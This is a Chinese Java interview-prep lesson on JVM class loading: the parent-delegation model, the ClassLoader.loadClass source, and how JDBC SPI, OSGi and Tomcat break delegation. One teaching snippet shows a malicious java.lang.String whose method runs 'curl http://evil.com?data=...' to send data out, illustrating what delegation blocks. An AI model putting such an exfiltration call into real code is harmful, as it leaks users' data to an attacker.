Java 面试笔记III · 09 / 14

Lesson 32 · JVM 原理与调优

类加载机制:双亲委派模型与三种破坏场景

高级·⭐ 必问·#JVM·#类加载·#核心

第 1 站

从一道面试题开始

面试官推了推眼镜,不紧不慢地问道:

"什么是双亲委派模型?为什么要用它?你知道哪些场景打破了它?"

前两问大部分候选人能答个七七八八——"就是先让父加载器加载,父加载器不行再自己来"。但第三问一出,淘汰率直线上升。

双亲委派是 Java 类加载机制的基石,它保证了核心类库的安全性和一致性。然而,现实中至少有三种经典场景必须打破它:JDBC 的 SPI 机制、OSGi 的模块化隔离、Tomcat 的 Web 应用隔离。理解这些"破坏"场景,才是区分初级和高级开发者的分水岭。

这篇文章,我们从类加载的完整过程讲起,逐层拆解三层委派链,然后深入源码看清 loadClass 的逻辑,最后用三个真实案例理解"何时遵守、何时打破"。

发车之前,先问自己三个问题:

  • ClassLoader.loadClass() 和 ClassLoader.findClass() 有什么区别?
  • 为什么 JDBC 驱动用 Class.forName() 就能注册?SPI 又是怎么绕过双亲委派的?
  • Tomcat 中两个 Web 应用各自带了一个不同版本的 Spring,为什么不会冲突?

带着这些问题,我们从类加载的全过程开始。

第 2 站

类加载过程:从 .class 到可用类

当我们写下 new HashMap() 时,JVM 需要把 HashMap.class 字节码加载进内存并完成初始化。整个过程分为三大阶段:Loading → Linking → Initialization,其中 Linking 又细分为三步。

类加载全过程 · 五步走
// ━━━ 阶段一:Loading(加载)━━━
// 通过全限定名获取字节流 → 生成 MethodArea 中的 Class 对象
// 来源:jar 包、war 包、网络、动态生成(CGLIB/ASM)

// ━━━ 阶段二:Linking(链接)━━━
//  ① Verify(验证)—— 字节码格式校验、语义校验、字节码指令校验
//     防止恶意 .class 文件危害 JVM(可用 -Xverify:none 跳过)
//  ② Prepare(准备)—— 为类的静态变量分配内存并设零值
//     static int a = 10; → 此阶段 a = 0(非 10!10 在初始化阶段赋值)
//     static final int b = 10; → 此阶段 b = 10(编译期常量直接赋值)
//  ③ Resolve(解析)—— 符号引用 → 直接引用
//     常量池中的 "java/lang/Object" 字符串 → 方法区的直接内存地址

// ━━━ 阶段三:Initialization(初始化)━━━
// 执行 <clinit>() 方法 —— 编译器收集的 static 赋值语句 + static 块
static {
    System.out.println("初始化阶段才会执行");
    a = 10; // Prepare 阶段 a 是 0,这里才真正赋值
}

面试中最常考的细节是 Prepare 阶段static int a = 10 在 Prepare 阶段值是 0(零值),到 Initialization 阶段才是 10。但 static final int b = 10 是编译期常量,Prepare 阶段就赋值为 10。

类加载 vs 类初始化

"类加载"通常指 Loading 阶段(狭义),而"类初始化"指 Initialization 阶段。双亲委派模型作用于 Loading 阶段——决定由哪个 ClassLoader 去找字节流。后续阶段不再涉及委派。

第 3 站

三层类加载器与委派链

JDK 默认提供了三层类加载器,它们形成一条父子链。注意:父子关系不是继承,而是组合(parent 字段引用)。

三层类加载器
// ① Bootstrap ClassLoader(启动类加载器)
//    用 C++ 实现,JVM 的一部分,Java 代码中拿到的是 null
//    加载路径:$JAVA_HOME/jre/lib/rt.jar(JDK 8)或 jrt:/ 模块(JDK 9+)
//    负责:java.lang.*, java.util.*, java.io.* 等核心类

// ② Extension ClassLoader(扩展类加载器)
//    sun.misc.Launcher$ExtClassLoader(JDK 8)
//    jdk.internal.loader.ClassLoaders$PlatformClassLoader(JDK 9+)
//    加载路径:$JAVA_HOME/jre/lib/ext/*.jar
//    负责:加密、国际化等扩展包

// ③ Application ClassLoader(应用类加载器)
//    sun.misc.Launcher$AppClassLoader(JDK 8)
//    jdk.internal.loader.ClassLoaders$AppClassLoader(JDK 9+)
//    加载路径:classpath(-cp 或 CLASSPATH 环境变量指定的路径)
//    负责:我们写的代码和第三方依赖

委派链的工作方式:当 Application ClassLoader 收到加载请求时,它不会自己去找,而是先向上委派给 Extension,Extension 再委派给 Bootstrap。Bootstrap 找不到,才逐级向下回退。

双亲委派模型:加载请求的传递路径 Bootstrap ClassLoader rt.jar / java.base 模块 parent = null(C++ 实现) Extension ClassLoader jre/lib/ext/*.jar parent = Bootstrap Application ClassLoader classpath(用户代码 + 依赖 jar) parent = Extension Custom ClassLoader(可选) parent = Application 向上委派 "你能加载吗?" 找不到? 逐级回退
图 1双亲委派链:加载请求先向上委派到 Bootstrap,找不到再逐级向下回退尝试加载
委派规则
收到 loadClass("java.lang.String") 请求 →
App → Ext → Bootstrap → Bootstrap 在 rt.jar 中找到 → 直接返回,App/Ext 不再加载。
第 4 站

loadClass 源码:委派逻辑全拆解

双亲委派并不是 JVM 的强制约束,而是 JDK 在 java.lang.ClassLoaderloadClass() 方法中用 Java 代码实现的默认策略。我们直接看源码:

ClassLoader.java · loadClass() 方法(JDK 8 精简版)
protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException {

    synchronized (getClassLoadingLock(name)) {
        // ━━━ 第一步:检查是否已经加载过 ━━━
        Class<?> c = findLoadedClass(name);

        if (c == null) {
            long t0 = System.nanoTime();
            try {
                // ━━━ 第二步:委派给父加载器 ━━━
                if (parent != null) {
                    c = parent.loadClass(name, false);
                } else {
                    // parent 为 null → 说明父加载器是 Bootstrap
                    c = findBootstrapClassOrNull(name);
                }
            } catch (ClassNotFoundException e) {
                // 父加载器找不到,吞掉异常,继续往下走
            }

            if (c == null) {
                // ━━━ 第三步:父加载器都找不到,自己找 ━━━
                long t1 = System.nanoTime();
                c = findClass(name);  // ← 自定义类加载器重写的方法

                sun.misc.PerfCounter.getParentDelegationTime()
                    .addTime(t1 - t0);
                sun.misc.PerfCounter.getFindClassTime()
                    .addTime(System.nanoTime() - t1);
                sun.misc.PerfCounter.getFindClasses().increment();
            }
        }

        if (resolve) {
            resolveClass(c);  // 执行 Linking 中的 Resolve 步骤
        }
        return c;
    }
}

逻辑非常清晰,总共就三步:

loadClass 三步逻辑
步骤代码作用
1. 查缓存findLoadedClass(name)已加载过的类不重复加载
2. 委派父加载器parent.loadClass(name)先让父加载器尝试——这就是"双亲委派"
3. 自己加载findClass(name)父加载器都找不到,才轮到自己
重写 loadClass vs 重写 findClass

如果你要写自定义 ClassLoader:

  • 推荐重写 findClass():保持双亲委派不变,只定制"自己怎么找类"
  • 破坏委派时重写 loadClass():完全接管加载逻辑,跳过 parent 委派步骤

JDBC、Tomcat 都属于后者——重写 loadClass() 来打破默认委派链。

第 5 站

为什么要双亲委派?不用会怎样?

双亲委派解决了两个核心问题:安全性一致性

问题一:安全性——防止核心类被篡改

假设没有双亲委派,你在 classpath 下放一个 java.lang.String

恶意 String · 没有委派时会发生什么
package java.lang;

public class String {
    // 自定义的 String,可以加任何恶意逻辑
    public void sendToHacker() {
        Runtime.getRuntime().exec("curl http://evil.com?data=...");
    }
}

// 没有双亲委派时:
// Application ClassLoader 直接加载 classpath 下的 java.lang.String
// 你的程序使用的 String 全是这个恶意版本!

// 有双亲委派时:
// App → Ext → Bootstrap
// Bootstrap 在 rt.jar 中找到 java.lang.String → 返回核心版本
// 恶意 String 永远不会被加载

问题二:一致性——避免重复加载

如果每一层加载器都自己加载,同一个类可能被加载多次,产生多个 Class 对象。这会导致:

类型混乱 · 同一个类被加载两次
// 假设 LoaderA 和 LoaderB 各自加载了 com.example.User
Class<?> c1 = loaderA.loadClass("com.example.User");
Class<?> c2 = loaderB.loadClass("com.example.User");

System.out.println(c1 == c2);  // false!两个不同的 Class 对象

Object obj = c1.newInstance();
System.out.println(obj instanceof c2);  // false!
// 明明是同一个类,但来自不同 ClassLoader 的 Class 对象互不兼容

// 双亲委派保证了:同一个类只会被最顶层能加载它的加载器加载一次
// 所有下层加载器拿到的都是同一个 Class 对象
类的唯一性判定
JVM 中一个类的身份由 (全限定名 + ClassLoader) 共同决定。
同一个类在不同 ClassLoader 下是不同的 Class 对象instanceof== 均返回 false。
第 6 站

三种破坏场景:SPI、OSGi、Tomcat

双亲委派是默认策略,但并非不可打破。以下三种场景因为设计上的刚性需求,必须绕过或逆转委派方向。

场景 A:SPI 机制(JDBC / SLF4J)

JDBC 的核心接口 java.sql.Driver 在 rt.jar 中,由 Bootstrap 加载。但驱动实现类(如 com.mysql.cj.jdbc.Driver)在 classpath 下,由 Application 加载。问题来了:

DriverManager.java · 加载驱动的困境
// DriverManager 在 rt.jar 中,由 Bootstrap 加载
// 它需要扫描所有 jar 包里的 META-INF/services/java.sql.Driver 文件
// 然后用 Class.forName() 加载驱动实现类

// 问题:Bootstrap 只认识 rt.jar,它怎么找 classpath 下的 MySQL 驱动?
// 答案:用线程上下文类加载器(Thread Context ClassLoader)

public static Connection getConnection(String url) {
    // DriverManager 内部这样加载驱动:
    ClassLoader contextCL = Thread.currentThread()
                                  .getContextClassLoader();
    // contextCL 默认是 Application ClassLoader
    // → Bootstrap 的代码"借用" Application 的能力去找驱动
    Class<?> driverClass = Class.forName(
        "com.mysql.cj.jdbc.Driver",
        true,
        contextCL  // ← 关键!不用自己(Bootstrap),而用线程上下文
    );
    Driver driver = (Driver) driverClass.newInstance();
    return driver.connect(url, props);
}

这就是一种"逆向委派":父加载器(Bootstrap)反过来请求子加载器(Application)去加载类。JDK 通过 Thread.currentThread().getContextClassLoader() 实现了这个机制,默认值是 Application ClassLoader。

SLF4J 同理:org.slf4j.LoggerFactory 在 classpath 中,但它需要加载 org.slf4j.impl.StaticLoggerBinder(由 logback 或 log4j 提供)。它同样使用 Thread Context ClassLoader 来完成绑定。

场景 B:OSGi 模块化隔离

OSGi(Open Service Gateway Initiative)是 Java 的模块化框架(Eclipse IDE 就基于它)。每个模块(Bundle)有自己的 ClassLoader,实现类的版本隔离:

OSGi 类加载 · 每个 Bundle 独立的 ClassLoader
// Bundle-A 使用 guava-18.0
// Bundle-B 使用 guava-31.0
// 两个版本的 Guava 同时运行在同一个 JVM 中,互不干扰

// OSGi 的委派规则不再是标准的"先父后子",而是:
// ① java.* 开头的类 → 委派给 Bootstrap(标准委派)
// ② 在 MANIFEST.MF 中声明的 import 包 → 委派给导出该包的 Bundle
// ③ 其他类 → 自己加载(不委派给父 ClassLoader)

// Bundle-A 的 ClassLoader 加载 guava-18.0 的类
// Bundle-B 的 ClassLoader 加载 guava-31.0 的类
// 由于 ClassLoader 不同,两个版本的类完全隔离

OSGi 打破了双亲委派中"父加载器优先"的原则——Bundle 的类加载器可以优先加载自己的类,只在特定情况下才委派给其他 Bundle。

场景 C:Tomcat 的 Web 应用隔离

Tomcat 需要同时运行多个 Web 应用,每个应用可能依赖不同版本的 Spring、Jackson 等框架。Tomcat 设计了一套精巧的类加载体系:

Tomcat 类加载器层次
//         Bootstrap ClassLoader
//              │
//         Extension ClassLoader
//              │
//    ┌──── System ClassLoader ────┐
//    │                            │
//  Common ClassLoader         (Tomcat 共享类)
//    │              │
// WebappA-Loader  WebappB-Loader  (每个应用独立)
//    │              │
// /WEB-INF/classes  /WEB-INF/classes
// /WEB-INF/lib/*    /WEB-INF/lib/*

// 关键设计:
// ① WebappLoader 默认优先加载自己 WEB-INF 下的类(子优先!)
// ② 然后才委派给 Common ClassLoader → System → Extension → Bootstrap
// ③ java.* 和 javax.* 等核心类仍然走标准双亲委派

Tomcat 的 WebappClassLoader 重写了 loadClass(),核心逻辑与标准委派相反——先找自己,再委派父加载器:

WebappClassLoaderBase.java · Tomcat 的 loadClass(精简)
public Class<?> loadClass(String name, boolean resolve) {
    synchronized (getClassLoadingLock(name)) {
        // ① 查缓存
        Class<?> clazz = findLoadedClass(name);
        if (clazz != null) return clazz;

        // ② java.* / javax.* 等 → 标准委派给 Bootstrap/Extension
        if (name.startsWith("java.") || name.startsWith("javax.")) {
            return super.loadClass(name, resolve);  // 走标准双亲委派
        }

        // ③ 先自己找!不等父加载器!
        clazz = findClass(name);  // 搜索 WEB-INF/classes 和 WEB-INF/lib
        if (clazz != null) return clazz;

        // ④ 自己找不到 → 才委派给父加载器(Common ClassLoader)
        return super.loadClass(name, resolve);
    }
}

这就是为什么 WebappA 用 Spring 5.x、WebappB 用 Spring 6.x 不会冲突——每个应用的 /WEB-INF/lib 下的 jar 由各自的 WebappClassLoader 加载,Class 对象互不相同。

三种破坏场景对比
场景破坏方式目的
SPI(JDBC/SLF4J)父加载器借用子加载器(线程上下文 ClassLoader)核心接口加载第三方实现
OSGi每个 Bundle 独立 ClassLoader,按需委派模块化 + 依赖版本隔离
Tomcat子加载器优先(先自己找,再委派父)Web 应用之间的类隔离
第 7 站

总结与面试应对

双亲委派模型的核心思想可以浓缩为一句话:默认遵守,按需打破

何时遵守,何时打破

遵守的场景:

  • 绝大多数业务应用——标准 classpath 加载,不需要自定义 ClassLoader
  • 编写工具类、中间件时——遵循委派可以保证核心类安全

打破的场景:

  • 需要加载 SPI 实现类(JDBC 驱动、日志框架绑定)→ 线程上下文 ClassLoader
  • 需要模块化隔离(OSGi、Java 9 Module System)→ 自定义委派规则
  • 需要应用级隔离(Tomcat、热部署)→ 子加载器优先
  • 热加载 / 热替换(如 JRebel)→ 每次请求创建新 ClassLoader
面试核心公式
双亲委派 = 查缓存 → 委派父加载器 → findClass 自己找
破坏委派 = 重写 loadClass() 改变委派顺序
类的唯一性 = 全限定名 + ClassLoader 实例
面试标准回答模板

面试官问:"什么是双亲委派?为什么要打破它?"

建议回答结构:

  • 先讲模型:三层加载器(Bootstrap / Extension / Application)形成父子链,加载请求先向上委派,父加载器找不到才自己加载
  • 讲好处:① 安全——防止核心类被篡改(java.lang.String);② 一致——避免同一个类被多次加载
  • 讲源码:loadClass() 的三步逻辑(findLoadedClass → parent.loadClass → findClass)
  • 讲破坏场景:至少举出两个——SPI 用线程上下文 ClassLoader 实现逆向委派;Tomcat 用子优先策略实现 Web 应用隔离
  • 加分项:提到 Java 9 的 Module System 对类加载的影响,以及自定义 ClassLoader 时推荐重写 findClass 而非 loadClass

核心知识点回顾

  • 类加载过程:Loading → Linking(Verify → Prepare → Resolve) → Initialization,双亲委派只作用于 Loading 阶段
  • 三层加载器:Bootstrap(rt.jar)→ Extension(ext/*.jar)→ Application(classpath),父子关系是组合而非继承
  • loadClass 三步:查缓存 → 委派父加载器 → findClass 自己找
  • 安全性:防止 classpath 下的恶意 java.lang.String 覆盖核心类
  • 一致性:类的唯一性由(全限定名 + ClassLoader)共同决定
  • SPI 破坏:父加载器通过 Thread Context ClassLoader 借用子加载器的能力
  • OSGi 破坏:每个 Bundle 独立 ClassLoader,按 import/export 规则按需委派
  • Tomcat 破坏:WebappClassLoader 子优先策略,先加载 WEB-INF 再委派
  • 自定义 ClassLoader:推荐重写 findClass();需要打破委派时才重写 loadClass()